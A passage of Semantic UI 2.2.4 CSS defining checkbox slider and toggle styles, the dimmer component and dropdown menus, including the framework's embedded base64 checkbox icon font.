  background-color: rgba(0, 0, 0, 0.95);
}

/* Indeterminate */

.ui.radio.checkbox input:indeterminate ~ .box:after,
.ui.radio.checkbox input:indeterminate ~ label:after {
  opacity: 0;
}

/* Active */

.ui.radio.checkbox input:checked ~ .box:before,
.ui.radio.checkbox input:checked ~ label:before {
  background-color: #FFFFFF;
}

.ui.radio.checkbox input:checked ~ .box:after,
.ui.radio.checkbox input:checked ~ label:after {
  background-color: rgba(0, 0, 0, 0.95);
}

/* Active Focus */

.ui.radio.checkbox input:focus:checked ~ .box:before,
.ui.radio.checkbox input:focus:checked ~ label:before {
  background-color: #FFFFFF;
}

.ui.radio.checkbox input:focus:checked ~ .box:after,
.ui.radio.checkbox input:focus:checked ~ label:after {
  background-color: rgba(0, 0, 0, 0.95);
}

/*--------------
     Slider
---------------*/

.ui.slider.checkbox {
  min-height: 1.25rem;
}

/* Input */

.ui.slider.checkbox input {
  width: 3.5rem;
  height: 1.25rem;
}

/* Label */

.ui.slider.checkbox .box,
.ui.slider.checkbox label {
  padding-left: 4.5rem;
  line-height: 1rem;
  color: rgba(0, 0, 0, 0.4);
}

/* Line */

.ui.slider.checkbox .box:before,
.ui.slider.checkbox label:before {
  display: block;
  position: absolute;
  content: '';
  border: none !important;
  left: 0em;
  z-index: 1;
  top: 0.4rem;
  background-color: rgba(0, 0, 0, 0.05);
  width: 3.5rem;
  height: 0.21428571rem;
  -webkit-transform: none;
  -ms-transform: none;
  transform: none;
  border-radius: 500rem;
  -webkit-transition: background 0.3s ease;
  transition: background 0.3s ease;
}

/* Handle */

.ui.slider.checkbox .box:after,
.ui.slider.checkbox label:after {
  background: #FFFFFF -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  background: #FFFFFF linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  position: absolute;
  content: '' !important;
  opacity: 1;
  z-index: 2;
  border: none;
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15), 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset;
  width: 1.5rem;
  height: 1.5rem;
  top: -0.25rem;
  left: 0em;
  -webkit-transform: none;
  -ms-transform: none;
  transform: none;
  border-radius: 500rem;
  -webkit-transition: left 0.3s ease;
  transition: left 0.3s ease;
}

/* Focus */

.ui.slider.checkbox input:focus ~ .box:before,
.ui.slider.checkbox input:focus ~ label:before {
  background-color: rgba(0, 0, 0, 0.15);
  border: none;
}

/* Hover */

.ui.slider.checkbox .box:hover,
.ui.slider.checkbox label:hover {
  color: rgba(0, 0, 0, 0.8);
}

.ui.slider.checkbox .box:hover::before,
.ui.slider.checkbox label:hover::before {
  background: rgba(0, 0, 0, 0.15);
}

/* Active */

.ui.slider.checkbox input:checked ~ .box,
.ui.slider.checkbox input:checked ~ label {
  color: rgba(0, 0, 0, 0.95) !important;
}

.ui.slider.checkbox input:checked ~ .box:before,
.ui.slider.checkbox input:checked ~ label:before {
  background-color: #545454 !important;
}

.ui.slider.checkbox input:checked ~ .box:after,
.ui.slider.checkbox input:checked ~ label:after {
  left: 2rem;
}

/* Active Focus */

.ui.slider.checkbox input:focus:checked ~ .box,
.ui.slider.checkbox input:focus:checked ~ label {
  color: rgba(0, 0, 0, 0.95) !important;
}

.ui.slider.checkbox input:focus:checked ~ .box:before,
.ui.slider.checkbox input:focus:checked ~ label:before {
  background-color: #000000 !important;
}

/*--------------
     Toggle
---------------*/

.ui.toggle.checkbox {
  min-height: 1.5rem;
}

/* Input */

.ui.toggle.checkbox input {
  width: 3.5rem;
  height: 1.5rem;
}

/* Label */

.ui.toggle.checkbox .box,
.ui.toggle.checkbox label {
  min-height: 1.5rem;
  padding-left: 4.5rem;
  color: rgba(0, 0, 0, 0.87);
}

.ui.toggle.checkbox label {
  padding-top: 0.15em;
}

/* Switch */

.ui.toggle.checkbox .box:before,
.ui.toggle.checkbox label:before {
  display: block;
  position: absolute;
  content: '';
  z-index: 1;
  -webkit-transform: none;
  -ms-transform: none;
  transform: none;
  border: none;
  top: 0rem;
  background: rgba(0, 0, 0, 0.05);
  width: 3.5rem;
  height: 1.5rem;
  border-radius: 500rem;
}

/* Handle */

.ui.toggle.checkbox .box:after,
.ui.toggle.checkbox label:after {
  background: #FFFFFF -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  background: #FFFFFF linear-gradient(transparent, rgba(0, 0, 0, 0.05));
  position: absolute;
  content: '' !important;
  opacity: 1;
  z-index: 2;
  border: none;
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15), 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset;
  width: 1.5rem;
  height: 1.5rem;
  top: 0rem;
  left: 0em;
  border-radius: 500rem;
  -webkit-transition: background 0.3s ease, left 0.3s ease;
  transition: background 0.3s ease, left 0.3s ease;
}

.ui.toggle.checkbox input ~ .box:after,
.ui.toggle.checkbox input ~ label:after {
  left: -0.05rem;
}

/* Focus */

.ui.toggle.checkbox input:focus ~ .box:before,
.ui.toggle.checkbox input:focus ~ label:before {
  background-color: rgba(0, 0, 0, 0.15);
  border: none;
}

/* Hover */

.ui.toggle.checkbox .box:hover::before,
.ui.toggle.checkbox label:hover::before {
  background-color: rgba(0, 0, 0, 0.15);
  border: none;
}

/* Active */

.ui.toggle.checkbox input:checked ~ .box,
.ui.toggle.checkbox input:checked ~ label {
  color: rgba(0, 0, 0, 0.95) !important;
}

.ui.toggle.checkbox input:checked ~ .box:before,
.ui.toggle.checkbox input:checked ~ label:before {
  background-color: #2185D0 !important;
}

.ui.toggle.checkbox input:checked ~ .box:after,
.ui.toggle.checkbox input:checked ~ label:after {
  left: 2.15rem;
}

/* Active Focus */

.ui.toggle.checkbox input:focus:checked ~ .box,
.ui.toggle.checkbox input:focus:checked ~ label {
  color: rgba(0, 0, 0, 0.95) !important;
}

.ui.toggle.checkbox input:focus:checked ~ .box:before,
.ui.toggle.checkbox input:focus:checked ~ label:before {
  background-color: #0d71bb !important;
}

/*******************************
            Variations
*******************************/

/*--------------
     Fitted
---------------*/

.ui.fitted.checkbox .box,
.ui.fitted.checkbox label {
  padding-left: 0em !important;
}

.ui.fitted.toggle.checkbox,
.ui.fitted.toggle.checkbox {
  width: 3.5rem;
}

.ui.fitted.slider.checkbox,
.ui.fitted.slider.checkbox {
  width: 3.5rem;
}

/*******************************
         Theme Overrides
*******************************/

@font-face {
  font-family: 'Checkbox';
  src: url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMg8SBD8AAAC8AAAAYGNtYXAYVtCJAAABHAAAAFRnYXNwAAAAEAAAAXAAAAAIZ2x5Zn4huwUAAAF4AAABYGhlYWQGPe1ZAAAC2AAAADZoaGVhB30DyAAAAxAAAAAkaG10eBBKAEUAAAM0AAAAHGxvY2EAmgESAAADUAAAABBtYXhwAAkALwAAA2AAAAAgbmFtZSC8IugAAAOAAAABknBvc3QAAwAAAAAFFAAAACAAAwMTAZAABQAAApkCzAAAAI8CmQLMAAAB6wAzAQkAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADoAgPA/8AAQAPAAEAAAAABAAAAAAAAAAAAAAAgAAAAAAADAAAAAwAAABwAAQADAAAAHAADAAEAAAAcAAQAOAAAAAoACAACAAIAAQAg6AL//f//AAAAAAAg6AD//f//AAH/4xgEAAMAAQAAAAAAAAAAAAAAAQAB//8ADwABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQAAAAAAAAAAAAIAADc5AQAAAAABAEUAUQO7AvgAGgAAARQHAQYjIicBJjU0PwE2MzIfAQE2MzIfARYVA7sQ/hQQFhcQ/uMQEE4QFxcQqAF2EBcXEE4QAnMWEP4UEBABHRAXFhBOEBCoAXcQEE4QFwAAAAABAAABbgMlAkkAFAAAARUUBwYjISInJj0BNDc2MyEyFxYVAyUQEBf9SRcQEBAQFwK3FxAQAhJtFxAQEBAXbRcQEBAQFwAAAAABAAAASQMlA24ALAAAARUUBwYrARUUBwYrASInJj0BIyInJj0BNDc2OwE1NDc2OwEyFxYdATMyFxYVAyUQEBfuEBAXbhYQEO4XEBAQEBfuEBAWbhcQEO4XEBACEm0XEBDuFxAQEBAX7hAQF20XEBDuFxAQEBAX7hAQFwAAAQAAAAIAAHRSzT9fDzz1AAsEAAAAAADRsdR3AAAAANGx1HcAAAAAA7sDbgAAAAgAAgAAAAAAAAABAAADwP/AAAAEAAAAAAADuwABAAAAAAAAAAAAAAAAAAAABwQAAAAAAAAAAAAAAAIAAAAEAABFAyUAAAMlAAAAAAAAAAoAFAAeAE4AcgCwAAEAAAAHAC0AAQAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAOAK4AAQAAAAAAAQAIAAAAAQAAAAAAAgAHAGkAAQAAAAAAAwAIADkAAQAAAAAABAAIAH4AAQAAAAAABQALABgAAQAAAAAABgAIAFEAAQAAAAAACgAaAJYAAwABBAkAAQAQAAgAAwABBAkAAgAOAHAAAwABBAkAAwAQAEEAAwABBAkABAAQAIYAAwABBAkABQAWACMAAwABBAkABgAQAFkAAwABBAkACgA0ALBDaGVja2JveABDAGgAZQBjAGsAYgBvAHhWZXJzaW9uIDIuMABWAGUAcgBzAGkAbwBuACAAMgAuADBDaGVja2JveABDAGgAZQBjAGsAYgBvAHhDaGVja2JveABDAGgAZQBjAGsAYgBvAHhSZWd1bGFyAFIAZQBnAHUAbABhAHJDaGVja2JveABDAGgAZQBjAGsAYgBvAHhGb250IGdlbmVyYXRlZCBieSBJY29Nb29uLgBGAG8AbgB0ACAAZwBlAG4AZQByAGEAdABlAGQAIABiAHkAIABJAGMAbwBNAG8AbwBuAC4AAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('truetype');
}

/* Checkmark */

.ui.checkbox label:after,
.ui.checkbox .box:after {
  font-family: 'Checkbox';
}

/* Checked */

.ui.checkbox input:checked ~ .box:after,
.ui.checkbox input:checked ~ label:after {
  content: '\e800';
}

/* Indeterminate */

.ui.checkbox input:indeterminate ~ .box:after,
.ui.checkbox input:indeterminate ~ label:after {
  font-size: 12px;
  content: '\e801';
}

/*  UTF Reference
.check:before { content: '\e800'; }
.dash:before  { content: '\e801'; }
.plus:before { content: '\e802'; }
*/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Dimmer
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Dimmer
*******************************/

.dimmable:not(.body) {
  position: relative;
}

.ui.dimmer {
  display: none;
  position: absolute;
  top: 0em !important;
  left: 0em !important;
  width: 100%;
  height: 100%;
  text-align: center;
  vertical-align: middle;
  background-color: rgba(0, 0, 0, 0.85);
  opacity: 0;
  line-height: 1;
  -webkit-animation-fill-mode: both;
  animation-fill-mode: both;
  -webkit-animation-duration: 0.5s;
  animation-duration: 0.5s;
  -webkit-transition: background-color 0.5s linear;
  transition: background-color 0.5s linear;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  will-change: opacity;
  z-index: 1000;
}

/* Dimmer Content */

.ui.dimmer > .content {
  width: 100%;
  height: 100%;
  display: table;
  -webkit-user-select: text;
  -moz-user-select: text;
  -ms-user-select: text;
  user-select: text;
}

.ui.dimmer > .content > * {
  display: table-cell;
  vertical-align: middle;
  color: #FFFFFF;
}

/* Loose Coupling */

.ui.segment > .ui.dimmer {
  border-radius: inherit !important;
}

/*******************************
            States
*******************************/

.animating.dimmable:not(body),
.dimmed.dimmable:not(body) {
  overflow: hidden;
}

.dimmed.dimmable > .ui.animating.dimmer,
.dimmed.dimmable > .ui.visible.dimmer,
.ui.active.dimmer {
  display: block;
  opacity: 1;
}

.ui.disabled.dimmer {
  width: 0 !important;
  height: 0 !important;
}

/*******************************
           Variations
*******************************/

/*--------------
      Page
---------------*/

.ui.page.dimmer {
  position: fixed;
  -webkit-transform-style: '';
  transform-style: '';
  -webkit-perspective: 2000px;
  perspective: 2000px;
  -webkit-transform-origin: center center;
  -ms-transform-origin: center center;
  transform-origin: center center;
}

body.animating.in.dimmable,
body.dimmed.dimmable {
  overflow: hidden;
}

body.dimmable > .dimmer {
  position: fixed;
}

/*--------------
    Blurring
---------------*/

.blurring.dimmable > :not(.dimmer) {
  -webkit-filter: blur(0px) grayscale(0);
  filter: blur(0px) grayscale(0);
  -webkit-transition: 800ms filter ease;
  transition: 800ms filter ease;
}

.blurring.dimmed.dimmable > :not(.dimmer) {
  -webkit-filter: blur(5px) grayscale(0.7);
  filter: blur(5px) grayscale(0.7);
}

/* Dimmer Color */

.blurring.dimmable > .dimmer {
  background-color: rgba(0, 0, 0, 0.6);
}

.blurring.dimmable > .inverted.dimmer {
  background-color: rgba(255, 255, 255, 0.6);
}

/*--------------
    Aligned
---------------*/

.ui.dimmer > .top.aligned.content > * {
  vertical-align: top;
}

.ui.dimmer > .bottom.aligned.content > * {
  vertical-align: bottom;
}

/*--------------
    Inverted
---------------*/

.ui.inverted.dimmer {
  background-color: rgba(255, 255, 255, 0.85);
}

.ui.inverted.dimmer > .content > * {
  color: #FFFFFF;
}

/*--------------
     Simple
---------------*/

/* Displays without javascript */

.ui.simple.dimmer {
  display: block;
  overflow: hidden;
  opacity: 1;
  width: 0%;
  height: 0%;
  z-index: -100;
  background-color: rgba(0, 0, 0, 0);
}

.dimmed.dimmable > .ui.simple.dimmer {
  overflow: visible;
  opacity: 1;
  width: 100%;
  height: 100%;
  background-color: rgba(0, 0, 0, 0.85);
  z-index: 1;
}

.ui.simple.inverted.dimmer {
  background-color: rgba(255, 255, 255, 0);
}

.dimmed.dimmable > .ui.simple.inverted.dimmer {
  background-color: rgba(255, 255, 255, 0.85);
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
        User Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Dropdown
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Dropdown
*******************************/

.ui.dropdown {
  cursor: pointer;
  position: relative;
  display: inline-block;
  outline: none;
  text-align: left;
  -webkit-transition: box-shadow 0.1s ease, width 0.1s ease;
  transition: box-shadow 0.1s ease, width 0.1s ease;
  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}

/*******************************
            Content
*******************************/

/*--------------
      Menu
---------------*/

.ui.dropdown .menu {
  cursor: auto;
  position: absolute;
  display: none;
  outline: none;
  top: 100%;
  min-width: -webkit-max-content;
  min-width: -moz-max-content;
  min-width: max-content;
  margin: 0em;
  padding: 0em 0em;
  background: #FFFFFF;
  font-size: 1em;
  text-shadow: none;
  text-align: left;
  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);
  border: 1px solid rgba(34, 36, 38, 0.15);
  border-radius: 0.28571429rem;
  -webkit-transition: opacity 0.1s ease;
  transition: opacity 0.1s ease;
  z-index: 11;
  will-change: transform, opacity;
}

.ui.dropdown .menu > * {
  white-space: nowrap;
}

/*--------------
  Hidden Input
---------------*/

.ui.dropdown > input:not(.search):first-child,
.ui.dropdown > select {
  display: none !important;
}

/*--------------
 Dropdown Icon
---------------*/

.ui.dropdown > .dropdown.icon {
  position: relative;
  width: auto;
  font-size: 0.85714286em;
  margin: 0em 0em 0em 1em;
}

.ui.dropdown .menu > .item .dropdown.icon {
  width: auto;
  float: right;
  margin: 0em 0em 0em 1em;
}

.ui.dropdown .menu > .item .dropdown.icon + .text {
  margin-right: 1em;
}

/*--------------
      Text
---------------*/

.ui.dropdown > .text {
  display: inline-block;
  -webkit-transition: none;
  transition: none;
}

/*--------------
    Menu Item
---------------*/

.ui.dropdown .menu > .item {
  position: relative;
  cursor: pointer;
  display: block;
  border: none;
  height: auto;
  text-align: left;
  border-top: none;
  line-height: 1em;
  color: rgba(0, 0, 0, 0.87);
  padding: 0.78571429rem 1.14285714rem !important;
  font-size: 1rem;
  text-transform: none;
  font-weight: normal;
  box-shadow: none;
  -webkit-touch-callout: none;
}

.ui.dropdown .menu > .item:first-child {
  border-top-width: 0px;
}

/*--------------
  Floated Content
---------------*/

.ui.dropdown > .text > [class*="right floated"],
.ui.dropdown .menu .item > [class*="right floated"] {
  float: right !important;
  margin-right: 0em !important;
  margin-left: 1em !important;
}

.ui.dropdown > .text > [class*="left floated"],
.ui.dropdown .menu .item > [class*="left floated"] {
  float: left !important;
  margin-left: 0em !important;
  margin-right: 1em !important;
}

.ui.dropdown .menu .item > .icon.floated,
.ui.dropdown .menu .item > .flag.floated,
.ui.dropdown .menu .item > .image.floated,
.ui.dropdown .menu .item > img.floated {
  margin-top: 0em;
}

/*--------------
  Menu Divider
---------------*/

.ui.dropdown .menu > .header {
  margin: 1rem 0rem 0.75rem;
  padding: 0em 1.14285714rem;
  color: rgba(0, 0, 0, 0.85);
  font-size: 0.78571429em;
  font-weight: bold;
  text-transform: uppercase;
}

.ui.dropdown .menu > .divider {
  border-top: 1px solid rgba(34, 36, 38, 0.1);
  height: 0em;
  margin: 0.5em 0em;
}

.ui.dropdown .menu > .input {
  width: auto;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  margin: 1.14285714rem 0.78571429rem;
  min-width: 10rem;
}

.ui.dropdown .menu > .header + .input {
  margin-top: 0em;
}

.ui.dropdown .menu > .input:not(.transparent) input {
  padding: 0.5em 1em;
}

.ui.dropdown .menu > .input:not(.transparent) .button,
.ui.dropdown .menu > .input:not(.transparent) .icon,
.ui.dropdown .menu > .input:not(.transparent) .label {
  padding-top: 0.5em;
  padding-bottom: 0.5em;
}

/*-----------------
  Item Description
-------------------*/

.ui.dropdown > .text > .description,
.ui.dropdown .menu > .item > .description {
  float: right;
  margin: 0em 0em 0em 1em;
  color: rgba(0, 0, 0, 0.4);
}

/*-----------------
       Message
-------------------*/

.ui.dropdown .menu > .message {
  padding: 0.78571429rem 1.14285714rem;
  font-weight: normal;
}

.ui.dropdown .menu > .message:not(.ui) {
  color: rgba(0, 0, 0, 0.4);
}

/*--------------
    Sub Menu
---------------*/

.ui.dropdown .menu .menu {
  top: 0% !important;
  left: 100% !important;
  right: auto !important;
  margin: 0em 0em 0em -0.5em !important;
  border-radius: 0.28571429rem !important;
  z-index: 21 !important;
}

/* Hide Arrow */

.ui.dropdown .menu .menu:after {
  display: none;
}

/*--------------
   Sub Elements
---------------*/

/* Icons / Flags / Labels / Image */

.ui.dropdown > .text > .icon,
.ui.dropdown > .text > .label,
.ui.dropdown > .text > .flag,
.ui.dropdown > .text > img,
.ui.dropdown > .text > .image {
  margin-top: 0em;
}

.ui.dropdown .menu > .item > .icon,
.ui.dropdown .menu > .item > .label,
.ui.dropdown .menu > .item > .flag,
.ui.dropdown .menu > .item > .image,
.ui.dropdown .menu > .item > img {
  margin-top: 0em;
}

.ui.dropdown > .text > .icon,
.ui.dropdown > .text > .label,
.ui.dropdown > .text > .flag,
.ui.dropdown > .text > img,
.ui.dropdown > .text > .image,
.ui.dropdown .menu > .item > .icon,
.ui.dropdown .menu > .item > .label,
.ui.dropdown .menu > .item > .flag,
.ui.dropdown .menu > .item > .image,
.ui.dropdown .menu > .item > img {
  margin-left: 0em;
  float: none;
  margin-right: 0.78571429rem;
}

/*--------------
     Image
---------------*/

.ui.dropdown > .text > img,
.ui.dropdown > .text > .image,
.ui.dropdown .menu > .item > .image,
.ui.dropdown .menu > .item > img {
  display: inline-block;
  vertical-align: middle;
  width: auto;
  max-height: 2em;
}

/*******************************
            Coupling
*******************************/

/*--------------
      Menu
---------------*/

/* Remove Menu Item Divider */

.ui.dropdown .ui.menu > .item:before,
.ui.menu .ui.dropdown .menu > .item:before {
  display: none;
}

/* Prevent Menu Item Border */

.ui.menu .ui.dropdown .menu .active.item {
  border-left: none;
}

/* Automatically float dropdown menu right on last menu item */

.ui.menu .right.menu .dropdown:last-child .menu,
.ui.menu .right.dropdown.item .menu,
.ui.buttons > .ui.dropdown:last-child .menu {
  left: auto;
  right: 0em;
}

/*--------------
      Label
---------------*/

/* Dropdown Menu */

.ui.label.dropdown .menu {
  min-width: 100%;
}

/*--------------
     Button
---------------*/

/* No Margin On Icon Button */

.ui.dropdown.icon.button > .dropdown.icon {
  margin: 0em;
}

.ui.button.dropdown .menu {
  min-width: 100%;
}

/*******************************
              Types
*******************************/

/*--------------
    Selection
---------------*/

/* Displays like a select box */

.ui.selection.dropdown {
  cursor: pointer;
  word-wrap: break-word;
  line-height: 1em;
  white-space: normal;
  outline: 0;
  -webkit-transform: rotateZ(0deg);
  -ms-transform: rotate(0deg);
  transform: rotateZ(0deg);
  min-width: 14em;
  min-height: 2.7142em;
  background: #FFFFFF;
  display: inline-block;
  padding: 0.78571429em 2.1em 0.78571429em 1em;
  color: rgba(0, 0, 0, 0.87);
  box-shadow: none;
  border: 1px solid rgba(34, 36, 38, 0.15);
  border-radius: 0.28571429rem;
  -webkit-transition: box-shadow 0.1s ease, width 0.1s ease;
  transition: box-shadow 0.1s ease, width 0.1s ease;
}

.ui.selection.dropdown.visible,
.ui.selection.dropdown.active {
  z-index: 10;
}

select.ui.dropdown {
  height: 38px;
  padding: 0.5em;
  border: 1px solid rgba(34, 36, 38, 0.15);
  visibility: visible;
}

.ui.selection.dropdown > .search.icon,
.ui.selection.dropdown > .delete.icon,
.ui.selection.dropdown > .dropdown.icon {
  cursor: pointer;
  position: absolute;
  width: auto;
  height: auto;
  line-height: 1.2142em;
  top: 0.78571429em;
  right: 1em;
  z-index: 3;
  margin: -0.78571429em;
  padding: 0.78571429em;
  opacity: 0.8;
  -webkit-transition: opacity 0.1s ease;
  transition: opacity 0.1s ease;
}

/* Compact */

.ui.compact.selection.dropdown {
  min-width: 0px;
}

/*  Selection Menu */

.ui.selection.dropdown .menu {
  overflow-x: hidden;
  overflow-y: auto;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  -webkit-overflow-scrolling: touch;
  border-top-width: 0px !important;
  width: auto;
  outline: none;
  margin: 0px -1px;
  min-width: calc(100% +  2px );
  width: calc(100% +  2px );
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);
  -webkit-transition: opacity 0.1s ease;
  transition: opacity 0.1s ease;
}

.ui.selection.dropdown .menu:after,
.ui.selection.dropdown .menu:before {
  display: none;
}

/*--------------
    Message
---------------*/

.ui.selection.dropdown .menu > .message {
  padding: 0.78571429rem 1.14285714rem;
}

@media only screen and (max-width: 767px) {
  .ui.selection.dropdown .menu {
    max-height: 8.01428571rem;
  }
}

@media only screen and (min-width: 768px) {
  .ui.selection.dropdown .menu {
    max-height: 10.68571429rem;
  }
}

@media only screen and (min-width: 992px) {
  .ui.selection.dropdown .menu {
    max-height: 16.02857143rem;
  }
}

@media only screen and (min-width: 1920px) {
  .ui.selection.dropdown .menu {
    max-height: 21.37142857rem;
  }
}

/* Menu Item */

.ui.selection.dropdown .menu > .item {
  border-top: 1px solid #FAFAFA;
  padding: 0.78571429rem 1.14285714rem !important;
  white-space: normal;
  word-wrap: normal;
}

/* User Item */

.ui.selection.dropdown .menu > .hidden.addition.item {
  display: none;
}

/* Hover */

.ui.selection.dropdown:hover {
  border-color: rgba(34, 36, 38, 0.35);
  box-shadow: none;
}

/* Active */

.ui.selection.active.dropdown {
  border-color: #96C8DA;
  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);
}

.ui.selection.active.dropdown .menu {
  border-color: #96C8DA;
  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);
}

/* Focus */

.ui.selection.dropdown:focus {
  border-color: #96C8DA;
  box-shadow: none;
}

.ui.selection.dropdown:focus .menu {
  border-color: #96C8DA;
  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);
}

/* Visible */

.ui.selection.visible.dropdown > .text:not(.default) {
  font-weight: normal;
  color: rgba(0, 0, 0, 0.8);
}

/* Visible Hover */

.ui.selection.active.dropdown:hover {
  border-color: #96C8DA;
  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);
}

.ui.selection.active.dropdown:hover .menu {
  border-color: #96C8DA;
  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);
}

/* Dropdown Icon */

.ui.active.selection.dropdown > .dropdown.icon,
.ui.visible.selection.dropdown > .dropdown.icon {
  opacity: 1;
  z-index: 3;
}

/* Connecting Border */

.ui.active.selection.dropdown {
  border-bottom-left-radius: 0em !important;
  border-bottom-right-radius: 0em !important;
}

/* Empty Connecting Border */

.ui.active.empty.selection.dropdown {
  border-radius: 0.28571429rem !important;
  box-shadow: none !important;
}

.ui.active.empty.selection.dropdown .menu {
  border: none !important;
  box-shadow: none !important;
}

/*--------------
   Searchable
---------------*/

/* Search Selection */

.ui.search.dropdown {
  min-width: '';
}

/* Search Dropdown */

.ui.search.dropdown > input.search {
  background: none transparent !important;
  border: none !important;
  box-shadow: none !important;
  cursor: text;
  top: 0em;
  left: 1px;
  width: 100%;
  outline: none;
  -webkit-tap-highlight-color: rgba(255, 255, 255, 0);
  padding: inherit;
}

/* Text Layering */

.ui.search.dropdown > input.search {
  position: absolute;
  z-index: 2;
}

.ui.search.dropdown > .text {
  cursor: text;
  position: relative;
  left: 1px;
  z-index: 3;
}

/* Search Selection */

.ui.search.selection.dropdown > input.search {
  line-height: 1.2142em;
  padding: 0.67861429em 2.1em 0.67861429em 1em;
}

/* Used to size multi select input to character width */

.ui.search.selection.dropdown > span.sizer {
  line-height: 1.2142em;
  padding: 0.67861429em 2.1em 0.67861429em 1em;
  display: none;
  white-space: pre;
}

/* Active/Visible Search */

.ui.search.dropdown.active > input.search,
.ui.search.dropdown.visible > input.search {
  cursor: auto;
}

.ui.search.dropdown.active > .text,
.ui.search.dropdown.visible > .text {
  pointer-events: none;
}

/* Filtered Text */

.ui.active.search.dropdown input.search:focus + .text .icon,
.ui.active.search.dropdown input.search:focus + .text .flag {
  opacity: 0.45;
}

.ui.active.search.dropdown input.search:focus + .text {
  color: rgba(115, 115, 115, 0.87) !important;
}

/* Search Menu */

.ui.search.dropdown .menu {
  overflow-x: hidden;
  overflow-y: auto;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  -webkit-overflow-scrolling: touch;
}

@media only screen and (max-width: 767px) {
  .ui.search.dropdown .menu {
    max-height: 8.01428571rem;
  }
}

@media only screen and (min-width: 768px) {
  .ui.search.dropdown .menu {
    max-height: 10.68571429rem;
  }
}

@media only screen and (min-width: 992px) {
  .ui.search.dropdown .menu {
    max-height: 16.02857143rem;
  }
}

@media only screen and (min-width: 1920px) {
  .ui.search.dropdown .menu {
    max-height: 21.37142857rem;
  }
}

/*--------------
    Multiple
---------------*/

/* Multiple Selection */

.ui.multiple.dropdown {
  padding: 0.22620476em 2.1em 0.22620476em 0.35714286em;
}

.ui.multiple.dropdown .menu {
  cursor: auto;
}

/* Multiple Search Selection */

.ui.multiple.search.dropdown,
.ui.multiple.search.dropdown > input.search {
  cursor: text;
}

/* Selection Label */

.ui.multiple.dropdown > .label {
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  display: inline-block;
  vertical-align: top;
  white-space: normal;
  font-size: 1em;
  padding: 0.35714286em 0.78571429em;
  margin: 0.14285714rem 0.28571429rem 0.14285714rem 0em;
  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset;
}

/* Dropdown Icon */

.ui.multiple.dropdown .dropdown.icon {
  margin: '';
  padding: '';
}

/* Text */

.ui.multiple.dropdown > .text {
  position: static;
  padding: 0;
  max-width: 100%;
  margin: 0.45240952em 0em 0.45240952em 0.64285714em;
  line-height: 1.21428571em;
}

.ui.multiple.dropdown > .label ~ input.search {
  margin-left: 0.14285714em !important;
}

.ui.multiple.dropdown > .label ~ .text {
  display: none;
}

/*-----------------
  Multiple Search
-----------------*/

/* Prompt Text */

.ui.multiple.search.dropdown > .text {
  display: inline-block;
  position: absolute;
  top: 0;
  left: 0;
  padding: inherit;
  margin: 0.45240952em 0em 0.45240952em 0.64285714em;
  line-height: 1.21428571em;
}

.ui.multiple.search.dropdown > .label ~ .text {
  display: none;
}

/* Search */

.ui.multiple.search.dropdown > input.search {
  position: static;
  padding: 0;
  max-width: 100%;
  margin: 0.45240952em 0em 0.45240952em 0.64285714em;
  width: 2.2em;
  line-height: 1.21428571em;
}

/*--------------
     Inline
---------------*/

.ui.inline.dropdown {
  cursor: pointer;
  display: inline-block;
  color: inherit;
}

.ui.inline.dropdown .dropdown.icon {
  margin: 0em 0.5em 0em 0.21428571em;
  vertical-align: baseline;
}

.ui.inline.dropdown > .text {
  font-weight: bold;
}

.ui.inline.dropdown .menu {
  cursor: auto;
  margin-top: 0.21428571em;
  border-radius: 0.28571429rem;
}

/*******************************
            States
*******************************/

/*--------------------
        Active
----------------------*/

/* Menu Item Active */

.ui.dropdown .menu .active.item {
  background: transparent;
  font-weight: bold;
  color: rgba(0, 0, 0, 0.95);
  box-shadow: none;
  z-index: 12;
}

/*--------------------
        Hover
----------------------*/

/* Menu Item Hover */

.ui.dropdown .menu > .item:hover {
  background: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.95);
  z-index: 13;
}

/*--------------------
       Loading
---------------------*/

.ui.loading.dropdown > i.icon {
  height: 1em !important;
  padding: 1.14285714em 1.07142857em !important;
}

.ui.loading.dropdown > i.icon:before {
  position: absolute;
  content: '';
  top: 50%;
  left: 50%;
  margin: -0.64285714em 0em 0em -0.64285714em;
  width: 1.28571429em;
  height: 1.28571429em;
  border-radius: 500rem;
  border: 0.2em solid rgba(0, 0, 0, 0.1);
}

